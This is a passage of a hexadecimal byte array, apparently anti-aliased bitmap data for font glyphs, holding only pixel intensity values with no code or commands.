0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA7, 0x7C, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA,
0xFA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFA, 0xFA, 0xFA, 0xFA, 0xA3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xF8, 0xFF, 0xFF, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xF8, 0xFF, 0xFF, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xF8, 0xFF, 0xFF, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xFC, 0xFF, 0xFF, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0F, 0xFF, 0xFF, 0xFF, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x33, 0xFF, 0xFF, 0xFD, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x56, 0xFF, 0xFF, 0xEF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x79, 0xFF, 0xFF, 0xDC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9D, 0xFF, 0xFF, 0xAE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04,
0xDD, 0xFF, 0xFF, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66,
0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE3,
0xFF, 0xFF, 0xE6, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6F, 0xFF,
0xFF, 0xFF, 0x85, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0xFF,
0xFF, 0xF9, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3B, 0xF3,
0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E,
0xC7, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x71, 0xE4, 0xE4, 0x7D, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x8C,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF,
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xAF, 0x15, 0x00, 0x00,
0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xE9, 0x4E, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x93, 0x02, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xAA, 0x06, 0x00, 0x7F, 0xFF, 0xFF, 0x8E, 0x74, 0xFC, 0xFF, 0xFF, 0xFF, 0xBA, 0x0B, 0x7F,
0xFF, 0xFF, 0x8C, 0x00, 0x45, 0xEF, 0xFF, 0xFF, 0xFF, 0x3A, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00,
0x2E, 0xEB, 0xFF, 0xC9, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x2C, 0xEA, 0x50, 0x00,
0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x16, 0x01, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x8C,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF,
0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x29, 0x53, 0x53, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x2A, 0x2A, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xFF, 0xFF, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0xFF, 0xFF, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0xFF, 0xFF, 0x13, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0xFF, 0xFF, 0x13, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0xFF, 0xFF, 0x13, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0xFF, 0xFF, 0x13, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0xFF, 0xFF, 0x13,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0xFF, 0xFF,
0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x77, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xF0, 0xFF, 0xFF,
0xFF, 0xF4, 0xF0, 0xF0, 0xF0, 0xF0, 0xED, 0x27, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x32, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x32, 0x1C, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0xFB, 0xFF, 0xFF, 0x6D, 0x61, 0x61, 0x61, 0x61, 0x61, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xF8, 0xFF, 0xFF, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xF8, 0xFF, 0xFF, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x01, 0xFC, 0xFF, 0xFF, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0xFF, 0xFF, 0xFD, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0xFF, 0xFF, 0xEB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5C, 0xFF, 0xFF, 0xD7, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0xFF, 0xFF, 0xBB, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD3, 0xFF, 0xFF, 0x7E, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0xFE, 0xFF, 0xFF, 0x3C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0xFF, 0xFF, 0xF4, 0x05, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0xF6, 0xFF, 0xFF, 0x97, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAE, 0xFF, 0xFF, 0xFA, 0x1F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0xFF, 0xFF, 0xFF, 0x9D,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xE4,
0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3D, 0xFB, 0xF8,
0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E,
0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0xA4,
0xA4, 0xA4, 0xA4, 0xA4, 0xA4, 0xA4, 0xA4, 0xA4, 0xA4, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x7D, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x23, 0x00, 0x00, 0x00, 0x00, 0x7D, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x23, 0x00, 0x00, 0x00, 0x00, 0x54, 0xAC,
0xAC, 0xAC, 0xAC, 0xAC, 0xAC, 0xAC, 0xAC, 0xAC, 0xAC, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x83, 0x83, 0x83,
0x83, 0x83, 0x83, 0x83, 0x83, 0x83, 0x83, 0x83, 0x83, 0x83, 0x83, 0x20, 0x7F, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x3E, 0x7F, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x3E, 0x66, 0xCD, 0xCD, 0xCD,
0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xCA, 0x21, 0x00, 0x00, 0x0B, 0x23,
0x3A, 0x52, 0x69, 0x81, 0x98, 0xB0, 0xC8, 0xDE, 0x53, 0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xED, 0x1B, 0x00, 0x00, 0x41, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x98, 0x00, 0x00, 0x36, 0xFF, 0xFF, 0xFF, 0xFF, 0xEE,
0xD5, 0xBC, 0xA3, 0xFF, 0xFF, 0xFF, 0x78, 0x00, 0x00, 0x10, 0x51, 0x39, 0x20, 0x07, 0x00, 0x00,
0x00, 0x0C, 0xFE, 0xFF, 0xFF, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x37, 0xFF, 0xFF, 0xF8, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x06, 0x00, 0x00, 0x00, 0x63,
0xFF, 0xFF, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA1, 0xAE, 0x02, 0x00, 0x00, 0xA7, 0xFF,
0xFF, 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0x8F, 0x00, 0x09, 0xF4, 0xFF, 0xFF,
0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA1, 0xFF, 0xFF, 0xFF, 0x6E, 0x53, 0xFF, 0xFF, 0xE3, 0x02,
0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xD1, 0xFF, 0xFF, 0xFD, 0xE7, 0xFF, 0xFF, 0x84, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xE2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x23, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0xF9, 0xFF, 0xFF, 0xFF, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x92, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x84, 0xFF, 0xFF, 0xFF, 0xF6, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x24, 0xF8, 0xFF, 0xFF, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xB5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x55, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E,
0xFF, 0xFF, 0xFF, 0x82, 0xDE, 0xFF, 0xFF, 0xDD, 0x05, 0x00, 0x00, 0x00, 0x00, 0x2B, 0xE9, 0xFF,
0xFF, 0xD1, 0x04, 0x4B, 0xFF, 0xFF, 0xFF, 0x69, 0x00, 0x00, 0x00, 0x2D, 0xEA, 0xFF, 0xFF, 0xFD,
0x36, 0x00, 0x00, 0xB7, 0xFF, 0xFF, 0xE6, 0x0A, 0x00, 0x2F, 0xEB, 0xFF, 0xFF, 0xFF, 0x8E, 0x00,
0x00, 0x00, 0x37, 0xFF, 0xFF, 0xFF, 0x71, 0x2F, 0xED, 0xFF, 0xFF, 0xFF, 0xAF, 0x04, 0x00, 0x00,
0x00, 0x00, 0xB8, 0xFF, 0xEB, 0x31, 0x5B, 0xFF, 0xFF, 0xFF, 0xBB, 0x07, 0x00, 0x00, 0x00, 0x00,
0x00, 0x3A, 0xE6, 0x2A, 0x00, 0x03, 0xD6, 0xFF, 0xC6, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x09, 0x00, 0x00, 0x00, 0x53, 0xD0, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x27, 0x5B, 0x5B, 0x24, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA6, 0xFF, 0xFF, 0x65, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA6, 0xFF, 0xFF, 0x65, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA6, 0xFF, 0xFF, 0x65, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA6, 0xFF, 0xFF, 0x65,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA6, 0xFF, 0xFF,
0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x13, 0x21, 0x30, 0xBA, 0xFF,
0xFF, 0xBC, 0x9A, 0xBF, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x01, 0x00, 0x00, 0x00, 0x00, 0x57, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x4C, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF,
0xFC, 0xE5, 0xCB, 0xB2, 0xFF, 0xFF, 0xFF, 0xF5, 0x18, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x4A, 0x31,
0x18, 0x02, 0x00, 0x00, 0x18, 0xF4, 0xFF, 0xFF, 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0xFF, 0xFF, 0xEF, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x27, 0xFB, 0xFF, 0xFF, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xC5, 0xFF, 0xFF, 0xD9, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0xFF, 0xFF, 0xFF, 0x44, 0x12, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2F, 0xF9, 0xFF, 0xFF, 0xA9, 0x33, 0xF3, 0x38, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19, 0xDF, 0xFF, 0xFF, 0xFF, 0x70, 0xD9, 0xFF, 0xE6, 0x19,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xD1, 0xFF, 0xFF, 0xFF, 0xFF, 0x9C, 0xFE, 0xFF, 0xFF,
0xC7, 0x07, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x65, 0x7B, 0xFF,
0xFF, 0xFF, 0x8F, 0x00, 0x00, 0x00, 0x28, 0xD8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x65, 0x00,
0xA5, 0xFF, 0xFF, 0xFE, 0x40, 0x00, 0x3F, 0xF1, 0xFF, 0xFF, 0xFF, 0xA8, 0xA7, 0xFF, 0xFF, 0x65,
0x00, 0x0A, 0xDB, 0xFF, 0xFF, 0xE0, 0x0B, 0x40, 0xFF, 0xFF, 0xFF, 0xBA, 0x08, 0xA6, 0xFF, 0xFF,
0x65, 0x00, 0x00, 0x3B, 0xFD, 0xFF, 0xE9, 0x0E, 0x00, 0xA2, 0xFF, 0x8E, 0x03, 0x00, 0xA6, 0xFF,
0xFF, 0x65, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0x54, 0x00, 0x00, 0x16, 0x50, 0x00, 0x00, 0x00, 0xA6,
0xFF, 0xFF, 0x65, 0x00, 0x00, 0x00, 0x08, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xA6, 0xFF, 0xFF, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xA6, 0xFF, 0xFF, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xA6, 0xFF, 0xFF, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xA6, 0xFF, 0xFF, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xA6, 0xFF, 0xFF, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xA6, 0xFF, 0xFF, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0x61, 0x61, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x02, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99, 0xE2, 0x85, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xC8, 0xFF, 0xFF, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0xF4, 0xFF, 0xFF, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0xFF, 0xFF,
0xFF, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0x16, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0xD9, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xB2, 0xFF, 0xFF, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x07, 0xF2, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0xFF, 0xFF,
0xFF, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9D, 0xFF, 0xFF, 0xD4, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xEC, 0xFF, 0xFF, 0x7A, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x41, 0xFF, 0xFF, 0xFF, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x95, 0xFF, 0xFF, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xF3, 0xFF, 0xFF,
0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xFF, 0xFF, 0xFD, 0x18, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xF3, 0xFF, 0xFF, 0xB2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x89, 0xFF, 0xFF, 0xFF, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0xF4,
0xFF, 0xFF, 0xB4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAE, 0xFF, 0xFF, 0xFF, 0x34,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0xFF, 0xFF, 0xFF, 0xB4, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x37, 0xFA, 0xFF, 0xFF, 0xFE, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12,
0xE0, 0xFF, 0xFF, 0xFF, 0x8B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6C, 0xFF, 0xFF, 0xFF,
0xCF, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xCF, 0xFF, 0xF6, 0x29, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0xF3, 0x6A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x0D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xED, 0x70, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0x13, 0x00, 0x00, 0x00, 0x62, 0xFF, 0xFF,
0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0xFC, 0xBC, 0x33, 0x00, 0x35,
0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0xFF, 0xFF, 0x4D,
0x00, 0x00, 0xD6, 0xFF, 0xFF, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE9, 0xFF,
0xFF, 0x25, 0x00, 0x00, 0x77, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D,
0xFF, 0xFF, 0xF9, 0x03, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x35, 0xFF, 0xFF, 0xD5, 0x00, 0x00, 0x00, 0x00, 0xCE, 0xFF, 0xFF, 0x7C, 0x00, 0x00, 0x00,
